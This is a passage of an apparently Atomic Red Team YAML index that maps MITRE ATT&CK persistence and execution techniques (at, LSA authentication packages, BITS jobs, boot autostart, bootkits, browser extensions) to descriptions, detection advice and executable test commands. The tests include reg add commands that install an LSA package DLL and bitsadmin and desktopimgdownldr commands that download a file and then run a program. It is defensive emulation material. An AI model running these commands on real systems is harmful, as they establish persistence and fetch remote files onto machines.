      - 'Process: Process Creation'
      x_mitre_platforms:
      - Linux
      identifier: T1053.001
    atomic_tests:
    - name: At - Schedule a job
      auto_generated_guid: 7266d898-ac82-4ec0-97c7-436075d0d08e
      description: 'This test submits a command to be run in the future by the `at`
        daemon.

'
      supported_platforms:
      - linux
      input_arguments:
        time_spec:
          description: Time specification of when the command should run
          type: String
          default: now + 1 minute
        at_command:
          description: The command to be run
          type: String
          default: echo Hello from Atomic Red Team
      dependency_executor_name: sh
      dependencies:
      - description: 'The `at` and `atd` executables must exist in the PATH

'
        prereq_command: 'which at && which atd

'
        get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found
          in the PATH (Package name: `at`)''

'
      - description: 'The `atd` daemon must be running

'
        prereq_command: 'systemctl status atd || service atd status

'
        get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service
          atd start` ; systemd: `systemctl start atd`)''

'
      executor:
        name: sh
        elevation_required: false
        command: 'echo "#{at_command}" | at #{time_spec}

'
  T1053.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.002
        url: https://attack.mitre.org/techniques/T1053/002
      - url: https://twitter.com/leoloobeek/status/939248813465853953
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        source_name: Twitter Leoloobeek Scheduled Task
      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        source_name: TechNet Forum Scheduled Task Operational Setting
      - url: https://technet.microsoft.com/library/dd315590.aspx
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        source_name: TechNet Scheduled Task Events
      - source_name: Microsoft Scheduled Task Events Win10
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: At (Windows)
      description: "Adversaries may abuse the <code>at.exe</code> utility to perform
        task scheduling for initial or recurring execution of malicious code. The
        [at](https://attack.mitre.org/software/S0110) utility exists as an executable
        within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110)
        requires that the Task Scheduler service be running, and the user to be logged
        on as a member of the local Administrators group. \n\nAn adversary may use
        <code>at.exe</code> in Windows environments to execute programs at system
        startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110)
        can also be abused to conduct remote Execution as part of Lateral Movement
        and or to run a process under the context of a specified account (such as
        SYSTEM).\n\nNote: The <code>at.exe</code> command line utility has been deprecated
        in current versions of Windows in favor of <code>schtasks</code>."
      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-24T13:43:40.776Z'
      created: '2019-11-27T13:52:45.853Z'
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.

        Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)

        * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
        * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
        * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
        * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
        * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
        * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
      x_mitre_platforms:
      - Windows
      identifier: T1053.002
    atomic_tests:
    - name: At.exe Scheduled task
      auto_generated_guid: 4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8
      description: |
        Executes cmd.exe
        Note: deprecated in Windows 8+

        Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: false
        command: 'at 13:20 /interactive cmd

'
  T1547.002:
    technique:
      id: attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec
      description: |-
        Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)

        Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.
      name: Authentication Package
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.002
        url: https://attack.mitre.org/techniques/T1547/002
      - url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
          2017.
        source_name: MSDN Authentication Packages
      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
          Provider DLLs. Retrieved March 1, 2017.
        source_name: Graeber 2014
      - url: https://technet.microsoft.com/en-us/library/dn408187.aspx
        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
          Retrieved June 24, 2015.
        source_name: Microsoft Configure LSA
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-25T15:11:25.821Z'
      created: '2020-01-24T14:54:42.757Z'
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_detection: 'Monitor the Registry for changes to the LSA Registry keys.
        Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
        R2 may generate events when unsigned DLLs try to load into the LSA by setting
        the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
        File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
        2014) (Citation: Microsoft Configure LSA)'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1547.002
    atomic_tests:
    - name: Authentication Package
      auto_generated_guid: be2590e8-4ac3-47ac-b4b5-945820f2fbe9
      description: |
        Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
        After a reboot, Notepad.exe will be executed as child process of lsass.exe.
        Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package
        [Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item $PathToAtomicsFolder\T1547.002\bin\package.dll C:\Windows\System32\
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f
        cleanup_command: |
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0" /f
          rm -force C:\windows\system32\package.dll
        name: powershell
        elevation_required: true
  T1197:
    technique:
      id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: BITS Jobs
      description: |-
        Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

        The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

        Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

        BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)
      external_references:
      - source_name: mitre-attack
        external_id: T1197
        url: https://attack.mitre.org/techniques/T1197
      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
          22, 2017.
        source_name: Microsoft COM
      - url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
        description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved
          January 12, 2018.
        source_name: Microsoft BITS
      - url: https://msdn.microsoft.com/library/aa362813.aspx
        description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
        source_name: Microsoft BITSAdmin
      - url: https://www.secureworks.com/blog/malware-lingers-with-bits
        description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers
          with BITS. Retrieved January 12, 2018.
        source_name: CTU BITS Malware June 2016
      - url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
        description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background
          Intelligent Transfer Service. Retrieved January 12, 2018.
        source_name: Mondok Windows PiggyBack BITS May 2007
      - url: https://www.symantec.com/connect/blogs/malware-update-windows-update
        description: Florio, E. (2007, May 9). Malware Update with Windows Update.
          Retrieved January 12, 2018.
        source_name: Symantec BITS May 2007
      - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
        description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia.
          Retrieved January 12, 2018.
        source_name: PaloAlto UBoatRAT Nov 2017
      - url: https://technet.microsoft.com/library/dd939934.aspx
        description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January
          12, 2018.
        source_name: Microsoft Issues with BITS July 2011
      - source_name: Elastic - Hunting for Persistence Part 1
        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
          December 21, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-13T21:36:04.956Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>).(Citation: Microsoft BITS)

        Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)

        Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)
      x_mitre_defense_bypassed:
      - Firewall
      - Host forensic analysis
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Service: Service Metadata'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Brent Murphy, Elastic
      - David French, Elastic
      - Ricardo Dias
      - Red Canary
      x_mitre_version: '1.2'
      identifier: T1197
    atomic_tests:
    - name: Bitsadmin Download (cmd)
      auto_generated_guid: 3c73d728-75fb-4180-a12f-6712864d7421
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to download
        and execute a payload
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        local_file:
          description: Local file path to save downloaded file
          type: Path
          default: "%temp%\\bitsadmin1_flag.ps1"
      executor:
        command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file}
          #{local_file}

'
        cleanup_command: 'del #{local_file} >nul 2>&1

'
        name: command_prompt
    - name: Bitsadmin Download (PowerShell)
      auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to download
        and execute a payload leveraging PowerShell

        Upon execution you will find a github markdown file downloaded to the Temp directory
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        local_file:
          description: Local file path to save downloaded file
          type: Path
          default: "$env:TEMP\\bitsadmin2_flag.ps1"
      executor:
        command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination
          #{local_file}

'
        cleanup_command: 'Remove-Item #{local_file} -ErrorAction Ignore

'
        name: powershell
    - name: Persist, Download, & Execute
      auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.
        Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.
        This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS"
        This job will remain in the BITS queue until complete or for up to 90 days by default if not removed.
      supported_platforms:
      - windows
      input_arguments:
        command_path:
          description: Path of command to execute
          type: Path
          default: C:\Windows\system32\notepad.exe
        bits_job_name:
          description: Name of BITS job
          type: String
          default: AtomicBITS
        local_file:
          description: Local file path to save downloaded file
          type: Path
          default: "%temp%\\bitsadmin3_flag.ps1"
        remote_file:
          description: Remote file to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
      executor:
        command: |
          bitsadmin.exe /create #{bits_job_name}
          bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
          bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL
          bitsadmin.exe /resume #{bits_job_name}
          timeout 5
          bitsadmin.exe /complete #{bits_job_name}
        cleanup_command: 'del #{local_file} >nul 2>&1

'
        name: command_prompt
    - name: Bits download using desktopimgdownldr.exe (cmd)
      auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114
      description: "This test simulates using desktopimgdownldr.exe to download a
        malicious file\ninstead of a desktop or lockscreen background img. The process
        that actually makes \nthe TCP connection and creates the file on the disk
        is a svchost process (“-k netsvc -p -s BITS”) \nand not desktopimgdownldr.exe.
        See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\n"
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        download_path:
          description: Local file path to save downloaded file
          type: Path
          default: SYSTEMROOT=C:\Windows\Temp
        cleanup_path:
          description: path to delete file as part of cleanup_command
          type: Path
          default: C:\Windows\Temp\Personalization\LockScreenImage
        cleanup_file:
          description: file to remove as part of cleanup_command
          type: String
          default: "*.md"
      executor:
        command: 'set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file}
          /eventName:desktopimgdownldr

'
        cleanup_command: 'del #{cleanup_path}\#{cleanup_file} >nul 2>&1

'
        name: command_prompt
  T1547:
    technique:
      id: attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf
      description: |-
        Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

        Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.
      name: Boot or Logon Autostart Execution
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547
        url: https://attack.mitre.org/techniques/T1547
      - external_id: CAPEC-564
        source_name: capec
        url: https://capec.mitre.org/data/definitions/564.html
      - url: http://msdn.microsoft.com/en-us/library/aa376977
        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
          12, 2014.
        source_name: Microsoft Run Key
      - url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
          2017.
        source_name: MSDN Authentication Packages
      - url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
        source_name: Microsoft TimeProvider
      - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
        source_name: Cylance Reg Persistence Sept 2013
      - source_name: Linux Kernel Programming
        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
          Module Programming Guide. Retrieved April 6, 2018.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-24T13:50:12.837Z'
      created: '2020-01-23T17:46:59.535Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_detection: "Monitor for additions or modifications of mechanisms that
        could be used to trigger autostart execution, such as relevant additions to
        the Registry. Look for changes that are not correlated with known updates,
        patches, or other planned administrative activity. Tools such as Sysinternals
        Autoruns may also be used to detect system autostart configuration changes
        that could be attempts at persistence.(Citation: TechNet Autoruns)  Changes
        to some autostart configuration settings may happen under normal conditions
        when legitimate software is installed. \n\nSuspicious program execution as
        autostart programs may show up as outlier processes that have not been seen
        before when compared against historical data.To increase confidence of malicious
        activity, data and events should not be viewed in isolation, but as part of
        a chain of behavior that could lead to other activities, such as network connections
        made for Command and Control, learning details about the environment through
        Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically
        looking for DLLs that are not recognized or not normally loaded into a process.
        Look for abnormal process behavior that may be due to a process loading a
        malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line
        parameters involved in kernel modification or driver installation."
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Kernel: Kernel Module Load'
      - 'Driver: Driver Load'
      - 'Process: OS API Execution'
    atomic_tests: []
  T1037:
    technique:
      id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Boot or Logon Initialization Scripts
      description: "Adversaries may use scripts automatically executed at boot or
        logon initialization to establish persistence. Initialization scripts can
        be used to perform administrative functions, which may often execute other
        programs or send information to an internal logging server. These scripts
        can vary based on operating system and whether applied locally or remotely.
        \ \n\nAdversaries may use these scripts to maintain persistence on a single
        system. Depending on the access configuration of the logon scripts, either
        local credentials or an administrator account may be necessary. \n\nAn adversary
        may also be able to escalate their privileges since some boot or logon initialization
        scripts run with higher privileges."
      external_references:
      - source_name: mitre-attack
        external_id: T1037
        url: https://attack.mitre.org/techniques/T1037
      - external_id: CAPEC-564
        source_name: capec
        url: https://capec.mitre.org/data/definitions/564.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-27T19:58:02.332Z'
      created: '2017-05-31T21:30:38.910Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_version: '2.1'
    atomic_tests: []
  T1542.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1542.003
        url: https://attack.mitre.org/techniques/T1542/003
      - external_id: CAPEC-552
        source_name: capec
        url: https://capec.mitre.org/data/definitions/552.html
      - source_name: Mandiant M Trends 2016
        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
          March 5, 2019.
      - url: http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
        description: Lau, H. (2011, August 8). Are MBR Infections Back in Fashion?
          (Infographic). Retrieved November 13, 2014.
        source_name: Lau 2011
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Bootkit
      description: |-
        Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

        A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

        The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
      id: attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-17T19:47:14.338Z'
      created: '2019-12-19T21:05:38.123Z'
      x_mitre_defense_bypassed:
      - Host intrusion prevention systems
      - Anti-virus
      - File monitoring
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: Perform integrity checking on MBR and VBR. Take snapshots
        of MBR and VBR and compare against known good samples. Report changes to MBR
        and VBR as they occur for indicators of suspicious activity and further analysis.
      x_mitre_data_sources:
      - 'Drive: Drive Modification'
      x_mitre_platforms:
      - Linux
      - Windows
    atomic_tests: []
  T1176:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1176
        url: https://attack.mitre.org/techniques/T1176
      - url: https://en.wikipedia.org/wiki/Browser_extension
        description: Wikipedia. (2017, October 8). Browser Extension. Retrieved January
          11, 2018.
        source_name: Wikipedia Browser Extension
      - url: https://developer.chrome.com/extensions
        description: Chrome. (n.d.). What are Extensions?. Retrieved November 16,
          2017.
        source_name: Chrome Extensions Definition
      - url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf
        description: Jagpal, N., et al. (2015, August). Trends and Lessons from Three
          Years Fighting Malicious Extensions. Retrieved November 17, 2017.
        source_name: Malicious Chrome Extension Numbers
      - source_name: xorrior chrome extensions macOS
        url: https://www.xorrior.com/No-Place-Like-Chrome/
        description: Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved
          April 27, 2021.
      - url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/
        description: Brinkmann, M. (2017, September 19). First Chrome extension with
          JavaScript Crypto Miner detected. Retrieved November 16, 2017.
        source_name: Chrome Extension Crypto Miner
      - url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
        description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME
          EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL
          BUSINESSES. Retrieved January 17, 2018.
        source_name: ICEBRG Chrome Extensions
      - url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/
        description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting.
          Retrieved November 18, 2017.
        source_name: Banker Google Chrome Extension Steals Creds
      - url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)
        description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension
          Steals All Posted Data. Retrieved November 16, 2017.
        source_name: Catch All Chrome Extension
      - url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
        description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware
          campaign operating covertly since 2012. Retrieved November 16, 2017.'
        source_name: Stantinko Botnet
      - url: https://kjaer.io/extension-malware/
        description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might
          get hacked by a Chrome extension. Retrieved November 22, 2017.'
        source_name: Chrome Extension C2 Malware
      description: |-
        Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)

        Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.

